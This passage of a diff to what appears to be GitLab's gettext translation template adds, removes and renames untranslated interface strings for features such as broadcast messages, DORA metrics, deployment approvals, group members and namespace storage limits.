+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5644,12 +5689,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7221,9 +7272,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr ""
@@ -7820,6 +7955,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -7931,13 +8069,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8220,6 +8355,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8379,12 +8517,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8568,6 +8700,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -8693,6 +8828,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -8795,12 +8933,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9466,21 +9610,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -9969,6 +10098,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -10860,6 +10992,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11253,6 +11388,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12149,6 +12287,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12173,6 +12314,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12185,7 +12329,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12206,6 +12353,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12227,6 +12380,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12245,6 +12404,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12266,6 +12434,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12275,6 +12449,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12290,9 +12467,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13210,11 +13384,10 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13279,6 +13452,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13660,9 +13836,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13678,6 +13860,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13761,6 +13949,12 @@ msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
msgstr[1] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -14030,7 +14224,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14255,6 +14449,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14746,6 +14943,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -15943,10 +16143,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -15955,9 +16152,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16455,9 +16649,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16491,9 +16682,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -16813,9 +17001,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17241,9 +17426,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17562,16 +17744,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
-msgstr ""
-
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -17669,6 +17848,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18327,9 +18509,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18743,6 +18922,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18755,6 +18937,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -18779,6 +18967,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -18797,6 +18988,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -18809,9 +19003,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19136,6 +19336,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19298,7 +19504,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19781,9 +19987,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -19838,6 +20050,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -19847,6 +20062,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -19856,6 +20077,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -19973,6 +20197,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20284,6 +20511,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20698,9 +20931,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20722,6 +20952,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -20942,12 +21175,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -22006,7 +22251,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22068,9 +22313,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22221,6 +22475,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23423,6 +23680,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23471,6 +23731,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23615,9 +23878,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -23933,9 +24193,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24096,9 +24353,6 @@ msgstr ""
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24231,6 +24485,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24300,9 +24557,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr ""
@@ -25056,6 +25310,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25071,9 +25328,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25173,6 +25427,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25242,9 +25499,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25257,9 +25511,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25599,6 +25850,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25636,6 +25890,9 @@ msgstr[1] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -25645,6 +25902,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25666,10 +25938,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25678,9 +25950,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -25708,6 +25986,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25735,6 +26016,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26020,10 +26307,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26083,6 +26373,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26510,6 +26803,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -26906,6 +27205,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -26930,6 +27232,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -26939,6 +27244,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -26962,24 +27270,36 @@ msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_c
msgstr[0] ""
msgstr[1] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|Which actions become restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27073,6 +27393,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -27201,9 +27542,6 @@ msgstr ""
msgid "New directory"
msgstr ""
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27519,9 +27857,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -27698,6 +28033,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28234,13 +28584,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
